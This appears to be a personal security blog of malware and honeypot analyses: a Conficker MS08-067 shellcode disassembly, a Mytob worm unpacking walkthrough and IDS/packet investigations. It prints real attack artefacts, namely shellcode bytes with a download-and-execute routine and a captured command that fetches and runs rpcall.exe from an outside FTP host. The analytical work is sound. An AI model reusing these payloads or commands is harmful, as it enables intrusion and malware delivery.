Zeta Blog

Shellcode (x73 x68 x65 x6C x6C x63 x6F x64 x65)

2009-02-01T10:28:00.000-08:00

Shellcode is fun to analyze and it is interesting to see what attackers throw into the mix to make finding the payload harder. Recently I was taking a look at the conficker/downadup shellcode that is used in conjunction with the MS08-067 vulnerability. First we start with the packet data

17:18:12.869891 IP (tos 0x0, ttl 128, id 164, offset 0, flags [DF], proto: TCP (

6), length: 832) 192.168.248.128.1048 > 192.168.248.1.445: P, cksum 0x41fa (corr

ect), 1136:1928(792) ack 927 win 63314

0x0000: 4500 0340 00a4 4000 8006 8540 c0a8 f880 E..@..@....@....

0x0010: c0a8 f801 0418 01bd 836c c50d d4ef d3fb .........l......

0x0020: 5018 f752 41fa 0000 0000 0314 ff53 4d42 P..RA........SMB

0x0030: 2500 0000 0018 07c8 0000 0000 0000 0000 %...............

0x0040: 0000 0000 0008 4004 0008 8000 1000 00c0 ......@.........

0x0050: 0200 0000 0400 0000 0000 0000 0000 0000 ................

0x0060: 0054 00c0 0254 0002 0026 0000 40d1 0200 .T...T...&..@...

0x0070: 5c00 5000 4900 5000 4500 5c00 0000 0000 \.P.I.P.E.\.....

0x0080: 0500 0003 1000 0000 c002 0000 0100 0000 ................

0x0090: a802 0000 0000 1f00 2c15 ce00 0600 0000 ........,.......

0x00a0: 0000 0000 0600 0000 4800 4800 4400 4800 ........H.H.D.H.

0x00b0: 4800 0000 3101 0000 0000 0000 3101 0000 H...1.......1...

0x00c0: 5c00 7074 7a55 6751 515a 624b 7854 6374 \.ptzUgQQZbKxTct

0x00d0: 474d 5046 426f 6e4c 4655 7271 4343 6d44 GMPFBonLFUrqCCmD

0x00e0: 624a 544b 4e79 6749 4770 4e45 5246 7756 bJTKNygIGpNERFwV

0x00f0: 5878 416a 4266 6242 5554 716a 5143 4e74 XxAjBfbBUTqjQCNt

0x0100: 5a65 4f73 4b79 5847 7a58 7448 6641 7276 ZeOsKyXGzXtHfArv

0x0110: 4572 615a 786b 627a 5868 5974 4459 7245 EraZxkbzXhYtDYrE

0x0120: 7961 6e48 676d e8ff ffff ffc1 5e8d 4e10 yanHgm......^.N. <-Shellcode Start

0x0130: 8031 c441 6681 3945 5075 f5ae c69d a04f .1.Af.9EPu.....O

0x0140: 85ea 4f84 c84f 84d8 4fc4 4f9c cc49 7258 ..O..O..O.O..IrX

0x0150: c4c4 c42c edc4 c4c4 9426 3c4f 3892 3bd3 ...,.....&

0x0160: 5747 02c3 2cdc c4c4 c4f7 1696 964f 08a2 WG..,........O..

0x0170: 03c5 bcea 953b b3c0 9696 9592 963b f33b .....;.......;.;

0x0180: 2469 9592 514f 8ff8 4f88 cfbc c70f f732 $i..QO..O......2

0x0190: 49d0 77c7 95e4 4fd6 c717 f704 0504 c3f6 I.w...O.........

0x01a0: c686 44fe c4b1 31ff 01b0 c282 ffb5 dcb6 ..D...1.........

0x01b0: 1b4f 95e0 c717 cb73 d0b6 4f85 d8c7 074f .O.....s..O....O

0x01c0: c054 c707 9a9d 07a4 664e b2e2 4468 0cb1 .T......fN..Dh..

0x01d0: b6a8 a9ab aac4 5de7 991d acb0 b0b4 feeb ......].........

0x01e0: ebf5 fdf6 eaf5 f2fc eaf6 f0fc eaf5 f6fc ................

0x01f0: fefc f5f5 fdeb a6a1 a7a1 b6c4 4550 7257 ............EPrW

0x0200: 786f 5741 7659 4161 6e78 7650 7842 666e xoWAvYAanxvPxBfn

0x0210: 5541 4d57 7267 4e6a 7077 6650 6f48 587a UAMWrgNjpwfPoHXz

0x0220: 6567 6868 7854 6949 4564 774a 5369 764f eghhxTiIEdwJSivO

0x0230: 6352 505a 4d75 7946 7771 6245 694b 777a cRPZMuyFwqbEiKwz

0x0240: 5972 4768 7046 6d4e 6a6d 5371 4264 4c57 YrGhpFmNjmSqBdLW

0x0250: 6e4d 4b64 6544 434d 696e 4c6c 4e79 7342 nMKdeDCMinLlNysB

0x0260: 456b 6272 6c6b 7163 437a 5854 6e55 4f5a EkbrlkqcCzXTnUOZ

0x0270: 4256 4c69 5547 686b 6166 6242 5961 554b BVLiUGhkafbBYaUK

0x0280: 506e 4165 6849 5749 4e61 4f75 6f77 7947 PnAehIWINaOuowyG

0x0290: 7857 6f63 436d 714b 5651 426a 636d 586d xWocCmqKVQBjcmXm

0x02a0: 5453 5063 546c 4242 4d4a 654e 7058 5757 TSPcTlBBMJeNpXWW

0x02b0: 617a 5257 6772 5c00 2e00 2e00 5c00 2e00 azRWgr\.....\...

0x02c0: 2e00 5c00 4100 5400 4f00 5a00 4d00 5500 ..\.A.T.O.Z.M.U.

0x02d0: 4500 0804 0200 e216 896f 454f 575a 27f7 E........oEOWZ'.

0x02e0: 886f 4958 484a 524f 5843 5842 5957 5a58 .oIXHJROXCXBYWZX

0x02f0: 4f4e 4c4b 524f 5046 4746 424c 5256 5143 ONLKROPFGFBLRVQC

0x0300: 5752 4f51 554a 544e 4659 474a 924a 24b6 WROQUJTNFYGJ.J$.

0x0310: 9703 f537 eb62 5159 5743 5357 4a42 4b50 ...7.bQYWCSWJBKP

0x0320: 0000 7700 1f03 0000 0200 0000 0000 0000 ..w.............

0x0330: 0200 0000 5c00 0000 0101 0000 0000 0000 ....\...........

This is the server service packet with the path that contains the overflow and shellcode:

Finding the beginning of the shellcode can at times be a bit tricky. We know it is in here, but there is no clear beginning. The first thing I look for is a 0xEB followed by a small value i.e. a short “Jump” instruction. Here, there is no clear sign, and tracing all instances of 0xEB in IDA Pro does not yield any valid code. The thing that caught my eye was in the middle at offset 0x0134 a 0xE8 0xFF etc… This looks like a “Call” instruction to a previous address. We’ll start here.

Attempting to disassemble at 0x0134 yeilds:

seg000:00000134 loc_134: ; CODE XREF: seg000:loc_134p

seg000:00000134 call near ptr loc_134+4

seg000:00000139 rcr dword ptr [esi-73h], 4Eh

seg000:0000013D adc [eax+6641C431h], al

seg000:00000143 cmp dword ptr [ecx], 0F5755045h

seg000:00000149 scasb

seg000:0000014A mov byte ptr [ebp-157AB060h], 4Fh ; 'O'

seg000:00000151 test cl, al

seg000:00000153 dec edi

seg000:00000154 test bl, al

seg000:00000156 dec edi

seg000:00000157 les ecx, [edi-64h]

seg000:0000015A int 3 ; Trap to Debugger

seg000:0000015B dec ecx

seg000:0000015C jb short loc_1B6

The first call is a call to an address in itself? This is strange?

call near ptr loc_134+4

This calls 0x0138, and the next instruction is at 0x139? Let’s right click and undefined and start at 0x138:

seg000:00000138 inc ecx

seg000:0000013A pop esi

seg000:0000013B lea ecx, [esi+10h]

seg000:0000013E

seg000:0000013E loc_13E: ; CODE XREF: seg000:00000147j

seg000:0000013E xor byte ptr [ecx], 0C4h

seg000:00000141 inc ecx

seg000:00000142 cmp word ptr [ecx], 5045h

seg000:00000147 jnz short loc_13E

seg000:00000149 scasb

seg000:0000014A mov byte ptr [ebp-157AB060h], 4Fh ; 'O'

seg000:00000151 test cl, al

seg000:00000153 dec edi

seg000:00000154 test bl, al

seg000:00000156 dec edi

seg000:00000157 les ecx, [edi-64h]

seg000:0000015A int 3 ; Trap to Debugger

This is a bit better, so the call into itself at 0x138 executes an “inc ecx” which is inconsequential. The current address on the stack is popped into ESI and the address + 0x10 is loaded into ECX and passed to an XOR loop starting at 0x13E. (Highlighted) This routine will XOR each byte starting at 0x149 until a (0x45 0x50) is located, then the loop will exit. Let’s see what happens when the rest of this code is XOR’d:

seg000:0000013E loc_13E: ; CODE XREF: seg000:00000147j

seg000:0000013E xor byte ptr [ecx], 0C4h

seg000:00000141 inc ecx

seg000:00000142 cmp word ptr [ecx], 5045h

seg000:00000147 jnz short loc_13E

seg000:00000149 push 2

seg000:0000014B pop ecx

seg000:0000014C mov eax, fs:[ecx+2Eh] ; fs:[30]

seg000:00000150 mov eax, [eax+0Ch]

seg000:00000153 mov eax, [eax+1Ch]

seg000:00000156 mov eax, [eax]

seg000:00000158 mov ebx, [eax+8]

seg000:0000015B lea esi, [esi+9Ch] ; 1d5

The new code, looks much cleaner now, and it is clear that it is now looking up the base address of kernel32.dll in the PEB at 0x14C {fs:[30]}.

If we look further down where the match for the 0x45 0x50 stopped the XOR loop we see the name of a module to be loaded, a URL and several chunks of data that are hashes used to look up API calls.

Commented disassembly:

seg000:000001D5 dd 768AA260h ; ExitThread

seg000:000001D9 dd 0C8AC8026h ; LoadLibrary

seg000:000001DD aUrlmon db 'urlmon'

seg000:000001E3 db 0

seg000:000001E4 dd 0D95D2399h ; URLDownloadToFileA

seg000:000001E8 aHttp192_168_24 db 'http://{infectedIP}:8119/becer'

seg000:00000209 db 0

seg000:0000020A db 45h

seg000:0000020B db 50h ; P <-End of XOR loop

Once these hashes are matched to the exported API calls in kernel32 and urlmon, the shellcode then passes the deofuscated URL to URLDownloadToFile() via a jump.

seg000:00000172 call HashLookup

seg000:00000177 xor edx, edx

seg000:00000179 push edx ; 0

seg000:0000017A push edx

seg000:0000017B mov ecx, esp

seg000:0000017D mov word ptr [ecx], '.x'

seg000:00000182 push ecx ; "x." for LoadLibrary

seg000:00000183 push dword ptr [edi+4]

seg000:00000186 push edx ; lpfnCB = 0

seg000:00000187 push edx ; dwReserved = 0

seg000:00000188 push ecx ; szFileName = "x."

seg000:00000189 push esi ; szURL 1e8

seg000:0000018A push edx ; pCaller = 0

seg000:0000018B push dword ptr [edi] ; Return Address LoadLibrary

seg000:0000018D jmp eax ; URLDownloadToFile

-- = URLDownloadToFile instructions

-- = LoadLibrary instructions

The interesting thing here is that before the jump to “URLDownloadToFile” the return address for LoadLibrary is pushed to the stack. This means that after the file “becer” is downloaded from the infected machine and copied into the file “x.” it will return to LoadLibrary which will load the file “x.” into the exploited process thus infecting the system.

All in all this is a simple example of how shellcode gets its job done. This instance was interesting in that it has a few tricks and interesting turns that an analyst can learn from.

IDA Bochs!

2008-10-04T13:46:00.000-07:00

Just when I thought that Ilfak and his team had done it all with Hex-Rays, they go and do this! I am so psyched to check this out!

http://hexblog.com/2008/10/bochs_emulator_and_ida.html

6 IT Security Quirks

2008-03-24T16:02:00.000-07:00

Ok so I've been tagged, and I decided to do an IT Security quirky list;

Here are the rules:

1) Link to the person that tagged you.
2) Post the rules on your blog.
3) Share six non-important things/habits/quirks about yourself.
4) Tag at least 3 people at the end of your post and link to their blogs.
5) Let each person know they have been tagged by leaving a comment on their blog.
6) Let the fun begin!

1) I need to have some flavor of Unix running on my network at all times, preferably sniffing traffic and running snort.

2) I am willing to sacrifice the speed of my Internet connection so I can run a sniffer, i.e. using a 10 meg hub and plugging my wireless, router, and all my systems into it.

3) Whenever I enter someone else’s house I immediately start to figure out the best way to PWN them.

4) I dislike M$ Windows, however I love using it to tear binaries apart.

5) I have collected a million hand-me-down laptops and PC’s, and still I find myself not having enough computers.

6) I feel the answer to all security related issues is “Just run FreeBSD”!

There...done, now time to tag.

Quick and Dirty RE

2007-12-29T18:42:00.000-08:00

While investigating a suspicious downloaded executable I came to employ some quick reverse engineering tricks to identify the purpose of the unknown binary. The initial binary was called "macromedia-flashplayerupdate.exe", ....fishy!!!! At the time a virus scan of the binary showed no identification.

I first started by running the binary on a test system using InCtrl5, a Windows based installation logger. This showed me that the binary dropped a secondary EXE called "aspimgr.exe" and installed it as a service.

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\aspimgr "ImagePath": Type: REG_EXPAND_SZ; Data: C:\WINDOWS\system32\aspimgr.exe

Files added: 6

c:\Documents and Settings\user\Local Settings\Temp\_check32.bat: Date: 12/29/2007 9:58 PM; Size: 181 bytes
c:\WINDOWS\s32.txt: Date: 8/18/2004 11:00 AM; Size: 63 bytes
c:\WINDOWS\ws386.ini: Date: 8/18/2004 11:00 AM; Size: 12 bytes
c:\WINDOWS\Prefetch\ASPIMGR.EXE-105B8CCF.pf: Date: 12/29/2007 9:58 PM; Size: 10,858 bytes
c:\WINDOWS\Prefetch\MACROMEDIA-FLASHPLAYERUPDATE.-30FC0E47.pf: Date: 12/29/2007 9:58 PM; Size: 7,590 bytes

c:\WINDOWS\system32\aspimgr.exe
Date: 12/29/2007 9:58 PM

Size: 65,536 bytes

Files deleted: 1

c:\Documents and Settings\user\Desktop\macromedia-flashplayerupdate.exe: Date: 12/29/2007 9:57 PM; Size: 49,152 bytes

A quick strings look at the dropped EXE showed no significant information, and a run through PEiD did not show signs of a packer. This activity is obviously suspicious and most likely malicious, however a deeper understanding of the binaries functionality is crutial to responding to any incident, so here we go!

Although no useful strings were uncovered in the initial binary, I used a quick trick using IDA Pro and Ollydbg.

Ollydbg has a setting to break on newly loaded DLL's. Pres Alt+O and select the "Events" tab and check "Break on new module (DLL)".

Let the binary run and it will break each time a new DLL is loaded. This is a trial and error procedure, however I like to stop and dump process memory when interesting DLL's are loaded such as ws2_32.dll and shell32.dll.

From here we can use LordPE to dump the memory of the running process by locating the process in the list and right clicking and selecting "dump full". ImportREC then can be used to reconstruct the IAT, as shown below.

LordPE:

And importREC:

This newly constructed binary, though not perfect, can be loaded into IDA Pro for analysis. Here we can see a disassembly excerpt of the same section in the pre and post dumped file:

Pre:

.text:004037FB sub_4037FB      proc near               ; CODE XREF: _main+1Ep

.text:004037FB

.text:004037FB var_4           = dword ptr -4

.text:004037FB

.text:004037FB           push    offset asc_40E2B0 ; "H"

.text:00403800           call    sub_401866

.text:00403805           mov     [esp+4+var_4], offset aV_2 ; "V"

.text:0040380C           call    sub_401866

.text:00403811           mov     [esp+4+var_4], offset unk_40E2C8

.text:00403818           call    sub_401866

.text:0040381D           mov     [esp+4+var_4], offset asc_40E2D4 ; "["

.text:00403824           call    sub_401866

.text:00403829           mov     [esp+4+var_4], offset unk_40E2DC

.text:00403830           call    sub_401866

.text:00403835           mov     [esp+4+var_4], offset aU_0 ; "u"

.text:0040383C           call    sub_401866

.text:00403841           mov     [esp+4+var_4], offset asc_40E314 ; "l"

.text:00403848           call    sub_401866

.text:0040384D           mov     [esp+4+var_4], offset asc_40E344 ; "l"

.text:00403854           call    sub_401866

.text:00403859           mov     [esp+4+var_4], offset unk_40E36C

.text:00403860           call    sub_401866

.text:00403865           mov     [esp+4+var_4], offset unk_40E398

.text:0040386C           call    sub_401866

.text:00403871           mov     [esp+4+var_4], offset unk_40E3B8

.text:00403878           call    sub_401866

.text:0040387D           mov     [esp+4+var_4], offset unk_40E3E0

And Post:

.text:004037FB sub_4037FB      proc near               ; CODE XREF: _main+1Ep

.text:004037FB

.text:004037FB var_4           = dword ptr -4

.text:004037FB

.text:004037FB           push    offset unk_40E2B0

.text:00403800           call    sub_401866

.text:00403805           mov     [esp+4+var_4], offset unk_40E2BC

.text:0040380C           call    sub_401866

.text:00403811           mov     [esp+4+var_4], offset unk_40E2C8

.text:00403818           call    sub_401866

.text:0040381D           mov     [esp+4+var_4], offset a@ ; "@"

.text:00403824           call    sub_401866

.text:00403829           mov     [esp+4+var_4], offset unk_40E2DC

.text:00403830           call    sub_401866

.text:00403835           mov     [esp+4+var_4], offset cp ; "ns.uk2.net"

.text:0040383C           call    sub_401866

.text:00403841           mov     [esp+4+var_4], offset aWww_yahoo_com ; "www.yahoo.com"

.text:00403848           call    sub_401866

.text:0040384D           mov     [esp+4+var_4], offset aWww_web_de ; "www.web.de"

.text:00403854           call    sub_401866

.text:00403859           mov     [esp+4+var_4], offset a192_168_32_2 ; "192.168.32.2"

.text:00403860           call    sub_401866

.text:00403865           mov     [esp+4+var_4], offset a127_0_0_1 ; "127.0.0.1"

.text:0040386C           call    sub_401866

.text:00403871           mov     [esp+4+var_4], offset aCBugs_txt ; "c:\\bugs.txt"

.text:00403878           call    sub_401866

.text:0040387D           mov     [esp+4+var_4], offset aCLogevents_log ; "c:\\logEvents.log"

From here we get file names, hard coded IP's and domain names and URL's. Further down we can see the following strings:

.text:004039F1                 mov     [esp+4+var_4], offset aBcc ; "Bcc:"

.text:004039F8                 call    sub_401866

.text:004039FD                 mov     [esp+4+var_4], offset aSubject ; "Subject:"

….

.text:00404009                 mov     [esp+4+var_4], offset aGoldCerts ; "gold-certs"

.text:00404010                 call    sub_401866

.text:00404015                 mov     [esp+4+var_4], offset aThe_bat ; "the.bat"

.text:0040401C                 call    sub_401866

.text:00404021                 mov     [esp+4+var_4], offset aPage ; "page"

.text:00404028                 call    sub_401866

.text:0040402D                 mov     [esp+4+var_4], offset aAdmin ; "admin"

.text:00404034                 call    sub_401866

.text:00404039                 mov     [esp+4+var_4], offset aSupport ; "support"

A mass mailer! A quick Google search and we learn that we are dealing with a Mytob type mass mailing worm. This technique was effective for this particular malware, and from here we can quickly identify additional infected hosts and respond accordingly. We simply let the malware decrypt it's own strings and stuff them back into the program....and then dump!!! All in all this initial analysis only took a total of only 10 minutes, so response time remains quick.

x4D x5A ......x50 x45

2007-12-04T14:40:00.000-08:00

In this post I am going to demonstrate the analysis process after discovering a successful download on my honeypot.

Checking my IDS logs, I noticed a PE executable download rule fire:

> ./snortalog.pl /nsm/snort/alert -3 -attack -fday 13

subject: IDS Statistics generated on Tue Nov 13 08:45:55 2007

The log begins at : Nov 13 00:00:16

The log ends at : Nov 13 08:46:11

Total of Lines in log file : 155255

Total of Logs Dropped : 35028 (22.56%)

Filter Running: day = 13

Total events in table : 27973

Source IP recorded : 17

Destination IP recorded : 10

Host logger recorded : 1 with 1 interface(s)

Signatures recorded : 22

Classification recorded : 9

Severity recorded : 4

Portscan detected : 0

Distribution of attack methods

=============================================================================================================

### 22 of 22 ###

% No Attack Priority Severity

=============================================================================================================

……

0.02 5 EXPLOIT symantec antivirus realtime virusscan overflow attempt {tcp} 1 high

0.01 4 SHELLCODE x86 inc ebx NOOP {tcp} 1 high

0.01 2 MS-SQL Worm propagation attempt {udp} 2 medium

0.01 2 SHELLCODE x86 NOOP {tcp} 1 high

0.01 2 BLEEDING-EDGE POLICY Google IM traffic Jabber client sign-on {tcp} 1 high

0.01 2 DNS SPOOF query response with TTL of 1 min. and no authority {udp} 2 medium

0.00 1 BLEEDING-EDGE MALWARE SOCKSv4 HTTP Proxy Inbound Request (Linux Source) {tcp} 3 low

0.00 1 BLEEDING-EDGE POLICY RDP connection request {tcp} 3 low

0.00 1 MISC MS Terminal server request {tcp} 3 low

0.00 1 BLEEDING-EDGE MALWARE SOCKSv4 HTTP Proxy Inbound Request (Windows Source) {tcp} 3 low

0.00 1 (http_inspect) OVERSIZE REQUEST-URI DIRECTORY {tcp} 3 unknown

0.00 1 BLEEDING-EDGE PE EXE or DLL Windows file download {tcp} 3 low

0.00 1 BLEEDING-EDGE MALWARE SOCKSv4 Inbound Connect Request (Linux Source) {tcp} 3 low

0.00 1 BLEEDING-EDGE POLICY RDP connection confirm {tcp} 3 low

0.00 1 BLEEDING-EDGE MALWARE SOCKSv4 Inbound Connect Request (Windows Source) {tcp} 3 low

Version: 2.4.2

Jeremy CHARTIER,

Date: 04/02/2007 14:52:11

Checking the src_dst option in snortalog we notice the source IP, and more we see two alerts for the same IP:

> ./snortalog.pl /nsm/snort/alert -3 -src_dst_attack -fday 13

........

0.00 1 71.40.196.103 192.168.0.34 EXPLOIT symantec antivirus realtime virusscan overflow attempt {tcp}

0.00 1 71.40.196.103 192.168.0.34 BLEEDING-EDGE PE EXE or DLL Windows file download {tcp}

Going to snort alert packet data, we get the story.

# tcpdump -vvnnXs 1514 -r snort.log.1194918671 host 71.40.196.103

reading from file snort.log.1194918671, link-type EN10MB (Ethernet)

00:31:39.629624 IP (tos 0x0, ttl 46, id 11982, offset 0, flags [DF], proto: TCP (6), length: 1492) 71.40.196.103.52569 > 192.168.0.34.2967: ., cksum 0xaaef (correct), 3854001018:3854002470(1452) ack 3652677825 win 64240

0x0000: 4500 05d4 2ece 4000 2e06 4bfc 4728 c467 E.....@...K.G(.g

0x0010: c0a8 0022 cd59 0b97 e5b7 637a d9b7 70c1 ...".Y....cz..p.

0x0020: 5010 faf0 aaef 0000 0110 0f20 0a00 0000 P...............

0x0030: 0218 0001 0000 0000 0024 0014 b7c9 d2d9 .........$......

0x0040: 3e33 ef34 251f 4300 0202 5c2f 6161 6161 >3.4%.C...\/aaaa

0x0050: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0060: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0070: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0080: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0090: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x00a0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x00b0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x00c0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x00d0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x00e0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x00f0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0100: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0110: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0120: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0130: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa

0x0140: 6161 6161 6161 6161 6161 6162 6262 6262 aaaaaaaaaaabbbbb

.......

00:31:42.622794 IP (tos 0x0, ttl 46, id 12544, offset 0, flags [DF], proto: TCP (6), length: 1492) 71.40.196.103.52964 > 192.168.0.34.65535: ., cksum 0x11e7 (correct), 3870755453:3870756905(1452) ack 3658573020 win 64240

0x0000: 4500 05d4 3100 4000 2e06 49ca 4728 c467 E...1.@...I.G(.g

0x0010: c0a8 0022 cee4 ffff e6b7 0a7d da11 64dc ...".......}..d.

0x0020: 5010 faf0 11e7 0000 4d5a 9000 0300 0000 P.......MZ......

0x0030: 0400 0000 ffff 0000 b800 0000 0000 0000 ................

0x0040: 4000 0000 0000 0000 0000 0000 0000 0000 @...............

0x0050: 0000 0000 0000 0000 0000 0000 0000 0000 ................

0x0060: 0000 0000 c000 0000 0e1f ba0e 00b4 09cd ................

0x0070: 21b8 014c cd21 5468 6973 2070 726f 6772 !..L.!This.progr

0x0080: 616d 2063 616e 6e6f 7420 6265 2072 756e am.cannot.be.run

0x0090: 2069 6e20 444f 5320 6d6f 6465 2e0d 0d0a .in.DOS.mode....

0x00a0: 2400 0000 0000 0000 0e16 3dd2 4a77 5381 $.........=.JwS.

0x00b0: 4a77 5381 4a77 5381 4a77 5381 4e77 5381 JwS.JwS.JwS.NwS.

0x00c0: c468 4081 5e77 5381 b657 4181 4b77 5381 .h@.^wS..WA.KwS.

0x00d0: 5269 6368 4a77 5381 0000 0000 0000 0000 RichJwS.........

0x00e0: 0000 0000 0000 0000 5045 0000 4c01 0200 ........PE..L...

0x00f0: 08b3 f445 0000 0000 0000 0000 e000 0f01 ...E............

0x0100: 0b01 050c 000a 0000 72f7 0100 0000 0000 ........r.......

0x0110: 0010 0000 0010 0000 0020 0000 0000 0010 ................

.........

We know the port 2967 all to well, SAV overflow and EXE download. From here we see a valid download of a binary marked by the “MZ” DOS stub and “PE” file headers.

Had this been a real host and not a honeypot, we could conclude that this host was successfully exploited by the worm payload which caused shellcode to execute on the system to download the worm body. This host would need to be examined further.

From here we can extract the binary from full content data using tcpXtract.

# tcpdump -r shark_00001_20071112193138 -w dump host 71.40.196.103

and ….

# tcpxtract -f dump

Found file of type "exe" in session [71.40.196.103:58574 -> 192.168.0.34:65535], exporting to 00000000.exe

Found file of type "pe" in session [71.40.196.103:58574 -> 192.168.0.34:65535], exporting to 00000001.pe

Found file of type "exe" in session [71.40.196.103:58574 -> 192.168.0.34:65535], exporting to 00000002.exe

reading from file shark_00001_20071112193138, link-type EN10MB (Ethernet)

It is important to note that these files extracted are most likely the same file as tcpxtract is looking to dump looking for the “MZ” or “PE” strings. Using our knowledge of the PE file format we can determine that the only valid executable is the “00000000.exe” file.

A look with tcpflow gives us the name of the binary and the injected ftp command:

071.040.196.103.52580-192.168.000.034.08555: cmd /c echo open 71.40.196.103 19090 >> ii &echo user 1 1 >> ii &echo get rpcall.exe >> ii &echo bye >> ii &ftp-n -v -s:ii &del ii &rpcall.exe

Now that the executable is fully extracted, we can move to our reverse engineering (RE) platform, usually a Windows box running IDA Pro and Ollydbg.

First thing I like to do is pass the binary through PEiD:

PEiD detected that it is packed with PECompact 2.x. This helps us to determine the packer used and aids in unpacking the malware.

Next I run the malware through VirusTotal to see if it is a known variant. The results show that this is not a highly detected piece of malware. Only a few of the AV solutions detected it.

AntiVir 7.6.0.34 2007.11.25 HEUR/Crypted

AVG 7.5.0.503 2007.11.25 BackDoor.RBot.AN

eSafe 7.0.15.0 2007.11.21 Suspicious File

McAfee 5170 2007.11.23 W32/Sdbot.worm.gen.as

Panda 9.0.0.4 2007.11.25 Suspicious file

Prevx1 V2 2007.11.25 Heuristic: Suspicious Self Modifying EXE

Sunbelt 2.2.907.0 2007.11.24 VIPRE.Suspicious

Webwasher-Gateway 6.0.1 2007.11.25 Heuristic.Crypted

In my next post I will demonstrate some reverse engineering, and dynamic analysis tricks to analyze this specimen.

Dabber Dan!

2007-10-17T08:04:00.001-07:00

Ok, I know its a play on words, but I like it. Today I checked my honeypot and got some old, but interesting traffic. This post is more of a lesson in analysis methodology. First I got on my IDS to see what as new:

./snortalog.pl -attack /nsm/snort/alert -3
subject: IDS Statistics generated on Wed Oct 17 11:06:46 2007
The log begins at : Oct 07 15:33:30
The log ends at : Oct 17 11:03:22

Total of Lines in log file : 57283
Total of Logs Dropped : 7294 (12.73%)

Total events in table : 7405
Source IP recorded : 287
Destination IP recorded : 68

Host logger recorded : 1 with 1 interface(s)
Signatures recorded : 81
Classification recorded : 17
Severity recorded : 4
Portscan detected : 0

Distribution of attack methods
=============================================================================================================
### 81 of 81 ###
% No Attack Priority Severity
=============================================================================================================
18.47 1368 ICMP Echo Reply {icmp} 3 low
18.42 1364 ICMP PING {icmp} 3 low
18.23 1350 ICMP L3retriever Ping {icmp} 2 medium
18.15 1344 NETBIOS SMB IPC$ unicode share access {tcp} 3 low
3.13 232 SHELLCODE x86 NOOP {tcp} 1 high
...
0.04 3 TFTP Get {udp} 2 medium

Here we can see 3 alerts for TFTP Get. I like to investigate all TFTP activity as many worms use this for file retrieval.

# cat alert | grep -A 5 TFTP
[**] [1:1444:3] TFTP Get [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
10/16-20:54:15.416648 192.168.0.34:32772 -> 192.168.0.1:69
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF
Len: 18
--
[**] [1:1444:3] TFTP Get [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
10/16-20:54:19.865122 192.168.0.34:32772 -> 192.168.0.1:69
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF
Len: 18
--
[**] [1:1444:3] TFTP Get [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
10/16-20:54:29.093299 192.168.0.34:32772 -> 192.168.0.1:69
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF
Len: 18

I see three TFTP gets to an internal IP!!! My router. I don't like this! So I immediately check my full content data:

[eon@localhost honeytrap]$ cat honeytrap.log | grep TFTP
[2007-10-16 20:54:30] TFTP download - Requesting 'h3110.411' from 192.168.11.3.
[2007-10-16 20:54:34] TFTP download - Requesting 'h3110.411' from 192.168.11.3.
[2007-10-16 20:55:20] TFTP download error - Connection timed out.
[2007-10-16 20:55:24] TFTP download error - Connection timed out.
[2007-10-16 20:56:23] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:23] TFTP download error - Read Request failed.
[2007-10-16 20:56:28] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:28] TFTP download error - Read Request failed.
[2007-10-16 20:56:37] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:37] TFTP download error - Read Request failed.

Here we see several requests to internal IP's from my honeypot? Am I PWND??? Well lets investigate before jumping to conclusions. Lets look at the payload of the internal requests:

# tcpdump -vvnnXs 1514 -r honeytrap_00085_20071016201229 port 69
reading from file honeytrap_00085_20071016201229, link-type EN10MB (Ethernet)
20:52:22.037221 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8003 0045 001a 6c6d 0001 6833 .......E..lm..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:26.383238 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8004 0045 001a 6c6c 0001 6833 .......E..ll..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:27.035581 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8003 0045 001a 6c6d 0001 6833 .......E..lm..h3
